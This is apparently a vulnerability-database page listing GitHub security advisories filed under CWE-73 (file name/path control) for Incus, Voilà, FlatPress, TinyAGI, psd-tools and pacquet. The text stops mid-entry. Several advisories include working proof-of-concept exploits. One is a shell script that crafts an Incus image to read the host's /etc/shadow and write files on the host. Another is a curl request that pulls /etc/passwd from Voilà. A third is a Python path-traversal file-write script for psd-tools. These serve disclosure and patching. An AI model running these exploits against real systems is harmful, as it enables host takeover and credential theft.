CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1087 vulnerabilities reference this CWE, most recent first.
GHSA-2Q3F-Q5PQ-G8WV
Vulnerability from github – Published: 2026-06-26 18:31 – Updated: 2026-06-26 18:31Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48749"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:31:21Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
"id": "GHSA-2q3f-q5pq-g8wv",
"modified": "2026-06-26T18:31:21Z",
"published": "2026-06-26T18:31:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image"
}
GHSA-2Q59-H24C-W6FG
Vulnerability from github – Published: 2024-04-03 14:13 – Updated: 2024-04-04 13:37Impact
Any deployment of voilà dashboard allow local file inclusion, that is to say any file on a filesystem that is readable by the user that runs the voilà dashboard server can be downloaded by someone with network access to the server.
Whether this still requires authentication depends on how voilà is deployed.
Patches
This is patched in 0.2.17+, 0.3.8+, 0.4.4+, 0.5.6+
Workarounds
None.
References
CWE-73: External Control of File Name or Path
Original report
I have found a local file inclusion vulnerability in one of your subprojects, voila (https://github.com/voila-dashboards/voila).
The vulnerability exists in the "/static" Route, and can be exploited by simply making a request such as this:
$ curl localhost:8866/static/etc/passwd
...or by using a webbrowser to download the file.
I dug into the source code, and I think the offending line is here: https://github.com/voila-dashboards/voila/blob/8419cc7d79c0bb1dabfbd9ec49cb957740609d4d/voila/app.py#L664
"static_path" gets set to "/", irrespective of the actual "--static" cli option. Because of that, the tornado.web.StaticFileHandler gets initialized with path="/". Then, tornado.web.StaticFileHandler.get calls tornado.web.StaticFileHandler.get_absolute_path with root="/" and path="[USER SUPPLIED PATH]", which leads to local file inclusion. An attacker can request any file on the system they want (that the user running voila has access to).
I suspect this was an oversight during development. Setting static_path=self.static_root (the aforementioned correct cli option) in line 664 provides the intended behavior and restricts the file access to the static directory.
From what I can tell, this line has been in the repository since September 2018. This is the commit that added it: https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67
I have found multiple voila instances online that are impacted, such as: - ... [redacted] - ... [redacted] - ... [redacted]
...but many more probably exist. They're easy to identify by [redacted] Therefore the Issue should be fixed as soon as possible, and a security advisory should be released to inform the impacted users.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "voila"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.2"
},
{
"fixed": "0.2.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "voila"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0a0"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "voila"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0a0"
},
{
"fixed": "0.4.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "voila"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0a0"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-30265"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-03T14:13:02Z",
"nvd_published_at": "2024-04-03T23:15:13Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAny deployment of voil\u00e0 dashboard allow local file inclusion, that is to say any file on a filesystem that is readable by the user that runs the voil\u00e0 dashboard server can be downloaded by someone with network access to the server. \n\nWhether this still requires authentication depends on how voil\u00e0 is deployed.\n\n### Patches\n\nThis is patched in 0.2.17+, 0.3.8+, 0.4.4+, 0.5.6+\n\n### Workarounds\n\nNone.\n\n\n### References\n\nCWE-73: External Control of File Name or Path\n\n\n### Original report\n\nI have found a local file inclusion vulnerability in one of your subprojects, voila (https://github.com/voila-dashboards/voila).\n\nThe vulnerability exists in the \"/static\" Route, and can be exploited by simply making a request such as this:\n\n```\n$ curl localhost:8866/static/etc/passwd\n```\n\n...or by using a webbrowser to download the file.\n\nI dug into the source code, and I think the offending line is here: https://github.com/voila-dashboards/voila/blob/8419cc7d79c0bb1dabfbd9ec49cb957740609d4d/voila/app.py#L664\n`\"static_path\"` gets set to `\"/\"`, irrespective of the actual `\"--static\"` cli option. Because of that, the `tornado.web.StaticFileHandler` gets initialized with `path=\"/\"`. Then, `tornado.web.StaticFileHandler.get` calls `tornado.web.StaticFileHandler.get_absolute_path` with `root=\"/\"` and `path=\"[USER SUPPLIED PATH]\"`, which leads to local file inclusion. An attacker can request any file on the system they want (that the user running voila has access to).\n\nI suspect this was an oversight during development. Setting `static_path=self.static_root` (the aforementioned correct cli option) in line 664 provides the intended behavior and restricts the file access to the static directory.\nFrom what I can tell, this line has been in the repository since September 2018. This is the commit that added it: https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67\n\nI have found multiple voila instances online that are impacted, such as:\n- ... [redacted]\n- ... [redacted]\n- ... [redacted]\n\n...but many more probably exist. They\u0027re easy to identify by `[redacted]` Therefore the Issue should be fixed as soon as possible, and a security advisory should be released to inform the impacted users.\n\n",
"id": "GHSA-2q59-h24c-w6fg",
"modified": "2024-04-04T13:37:56Z",
"published": "2024-04-03T14:13:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/security/advisories/GHSA-2q59-h24c-w6fg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30265"
},
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/commit/00d6362c237b6b4d466873535554d6076ead0c52"
},
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67"
},
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/commit/5542e4ae36bb5d184deaa48f95e76be477756af2"
},
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/commit/98b6a40fec27723572314fdbba99bdc147d904c8"
},
{
"type": "WEB",
"url": "https://github.com/voila-dashboards/voila/commit/c045be6988539d07cceeb9f82fc660a49485d504"
},
{
"type": "PACKAGE",
"url": "https://github.com/voila-dashboards/voila"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Voil\u00e0 Local file inclusion"
}
GHSA-2QF9-QCHX-RH67
Vulnerability from github – Published: 2023-03-01 03:30 – Updated: 2023-03-09 15:30External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.
{
"affected": [],
"aliases": [
"CVE-2023-1105"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-01T02:15:00Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.",
"id": "GHSA-2qf9-qchx-rh67",
"modified": "2023-03-09T15:30:50Z",
"published": "2023-03-01T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1105"
},
{
"type": "WEB",
"url": "https://github.com/flatpressblog/flatpress/commit/5d5c7f6d8f072d14926fc2c3a97cdd763802f170"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/4089a63f-cffd-42f3-b8d8-e80b6bd9c80f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2R4W-XXV7-6R74
Vulnerability from github – Published: 2026-08-06 09:30 – Updated: 2026-08-06 09:30A vulnerability was detected in TinyAGI 0.0.20. The affected element is the function buildSystemPrompt of the file packages/server/src/routes/agents.ts. Performing a manipulation results in file inclusion. The attack may be initiated remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-19011"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T08:16:30Z",
"severity": "MODERATE"
},
"details": "A vulnerability was detected in TinyAGI 0.0.20. The affected element is the function buildSystemPrompt of the file packages/server/src/routes/agents.ts. Performing a manipulation results in file inclusion. The attack may be initiated remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-2r4w-xxv7-6r74",
"modified": "2026-08-06T09:30:31Z",
"published": "2026-08-06T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19011"
},
{
"type": "WEB",
"url": "https://github.com/TinyAGI/tinyagi/issues/283"
},
{
"type": "WEB",
"url": "https://github.com/TinyAGI/tinyagi"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-19011"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/862674"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/386404"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/386404/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2RMG-VRX8-9J2F
Vulnerability from github – Published: 2026-07-09 23:20 – Updated: 2026-07-09 23:20psd-tools: arbitrary file write/read via smart-object path traversal
Summary
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path — SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path — SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
pip install psd-tools==1.17.0
python poc.py
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
return 0 if ok else 1
finally:
shutil.rmtree(tmp, ignore_errors=True)
raise SystemExit(main())
Output (psd-tools 1.17.0):
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
VERDICT: ARBITRARY FILE WRITE CONFIRMED
An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.
Impact
Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.
For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.
Severity
Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.
Patch
Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:
save(): strips directory components from the embedded name viaos.path.basename(), writes only into a caller-supplieddirectory(defaults to CWD), and verifies the resolved path stays inside that directory viaos.path.realpath()+os.path.commonpath(). A newexternal_dirparameter is propagated toopen()for external-kind objects to constrain the read source.open(): whenexternal_diris provided, afullPathresolving outside it is silently ignored (falls through torelPath); arelPathescaping the directory raisesValueError.
Weaknesses
CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).
Resources
- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag
v1.17.0):src/psd_tools/api/smart_object.py:170-179(sink),:62-67(untrustedfilename);src/psd_tools/psd/linked_layer.py:100(source). - Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —
compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The
save()write logic is unchanged since theSmartObjectAPI was introduced, so all releases exposing it are affected.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "psd-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49836"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:20:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# psd-tools: arbitrary file write/read via smart-object path traversal\n\n## Summary\n\nIn `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.\n\nA secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.\n\n## Details\n\n### Write path \u2014 `SmartObject.save()` (primary)\n\n`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):\n\n```python\ndef save(self, filename: str | None = None) -\u003e None:\n if filename is None:\n filename = self.filename # untrusted, straight from the file\n with open(filename, \"wb\") as f:\n f.write(self.data) # attacker-controlled bytes\n```\n\n`self.filename` comes from the file with no validation \u2014 the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.\n\n### Read path \u2014 `SmartObject.open()` / `.data` for external kind (secondary)\n\nFor `kind == \"external\"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory=\"/safe/out\")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.\n\n## Proof of concept\n\nStandalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.\n\n```bash\npip install psd-tools==1.17.0\npython poc.py\n```\n\n`poc.py` builds two PSDs from the project\u0027s own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name \u2014 `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` \u2014 then extracts each like a consumer would:\n\n```python\nimport os, shutil, tempfile\nfrom psd_tools import PSDImage\nfrom psd_tools.constants import Tag\n\nMARKER = b\"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\\n\"\nNAMES = {\"control\": \"embedded-export.bin\", \"exploit\": \"../../PWNED-psd-tools-poc.bin\"}\n\ndef craft(name, out):\n psd = PSDImage.open(os.path.join(os.path.dirname(__file__), \"base.psd\"))\n uuid = next(l.smart_object.unique_id for l in psd.descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):\n for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:\n if item.uuid.strip(\"\\x00\") == uuid:\n item.filename, item.data = name, MARKER\n psd.save(out)\n\ndef extract(psd_path, outdir, watch):\n psd = PSDImage.open(psd_path)\n before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n cwd = os.getcwd(); os.chdir(outdir)\n try:\n for l in psd.descendants():\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\":\n l.smart_object.save()\n finally:\n os.chdir(cwd)\n after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n return sorted(after - before)\n\ndef main():\n tmp = tempfile.mkdtemp(prefix=\"poc_\")\n try:\n escaped = {}\n for tag, name in NAMES.items():\n psd = os.path.join(tmp, tag + \".psd\"); craft(name, psd)\n so = next(l.smart_object for l in PSDImage.open(psd).descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n print(f\"[{tag}] parsed embedded name = {so.filename!r}\")\n outdir = os.path.join(tmp, tag, \"app\", \"extracted\"); os.makedirs(outdir)\n written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)\n esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc\n for w in written:\n print(f\"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}\")\n ok = (not escaped[\"control\"] and escaped[\"exploit\"]\n and all(open(w, \"rb\").read() == MARKER for w in escaped[\"exploit\"]))\n print(\"\\nVERDICT:\", \"ARBITRARY FILE WRITE CONFIRMED\" if ok else \"not reproduced\")\n return 0 if ok else 1\n finally:\n shutil.rmtree(tmp, ignore_errors=True)\n\nraise SystemExit(main())\n```\n\nOutput (`psd-tools 1.17.0`):\n\n```\n[control] parsed embedded name = \u0027embedded-export.bin\u0027\n[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir\n[exploit] parsed embedded name = \u0027../../PWNED-psd-tools-poc.bin\u0027\n[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir\n\nVERDICT: ARBITRARY FILE WRITE CONFIRMED\n```\n\nAn absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.\n\n## Impact\n\nAny application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory \u2014 no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.\n\nFor external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.\n\n## Severity\n\n**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.\n\n## Patch\n\nFixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:\n\n- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.\n- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.\n\n## Weaknesses\n\nCWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).\n\n## Resources\n\n- Fix PR: https://github.com/psd-tools/psd-tools/pull/657\n- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1\n- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`\n (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`\n (source).\n- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w \u2014\n compression resource exhaustion; GHSA-22jr-vc7j-g762 \u2014 buffer overflow). The\n `save()` write logic is unchanged since the `SmartObject` API was introduced,\n so all releases exposing it are affected.",
"id": "GHSA-2rmg-vrx8-9j2f",
"modified": "2026-07-09T23:20:47Z",
"published": "2026-07-09T23:20:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-2rmg-vrx8-9j2f"
},
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/pull/657"
},
{
"type": "PACKAGE",
"url": "https://github.com/psd-tools/psd-tools"
},
{
"type": "WEB",
"url": "http://github.com/psd-tools/psd-tools/releases/tag/v1.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "psd-tools vulnerable to arbitrary file write via smart-object filename"
}
GHSA-2RX9-3G3H-C2JV
Vulnerability from github – Published: 2026-09-01 18:59 – Updated: 2026-09-01 18:59Summary
A crafted lockfile alias could reach several install-time filesystem joins. With --trust-lockfile or a frozen lockfile, traversal segments could create links outside the intended project or node_modules boundary. This patch validates dependency names and every virtual-store slot before creating directories, links, bins, or hoisted entries.
Security boundary
- A shared safe-join helper rejects traversal, absolute, platform-specific, and reserved dependency names before filesystem materialization.
- Direct and transitive dependency links, package links, bin destinations, and public/private hoist destinations use the same containment rule.
- Global virtual-store slots validate the complete slot path, including version-derived components, before directory creation.
- Snapshot slots and package names are checked before store initialization and before the current-lockfile fast path, closing the warm-install bypass.
- Rejections preserve
ERR_PNPM_INVALID_DEPENDENCY_NAME.
Exploit replay
Before the patch, pacquet install --frozen-lockfile --trust-lockfile accepted a ../../escaped-link dependency key and created a symlink outside the project. With this patch, the same lockfile is rejected before materialization and no outside link is created.
Files changed
pacquet/crates/package-manager/src/safe_join_modules_dir.rsdefines the shared containment rule.- Install, symlink, bin, hoist, virtual-store, and frozen-lockfile paths call that helper before filesystem materialization.
- The corresponding
tests.rsfiles cover every sink, including warm installs and global virtual-store slots.
Commands run
$ cargo test --locked -p pacquet-package-manager --lib
PASS: 434 tests
$ cargo clippy --locked -p pacquet-package-manager --all-targets -- --deny warnings
PASS
$ cargo fmt --all -- --check
PASS
Validation
- Full pacquet package-manager suite: 434 passed.
- Focused regressions cover direct and transitive aliases, bins, hoists, package names, global virtual-store version traversal, and a poisoned prior-install slot.
cargo clippy -p pacquet-package-manager --all-targets -- -D warnings: passed.cargo fmt --all -- --checkandgit diff --check: passed.
Compatibility
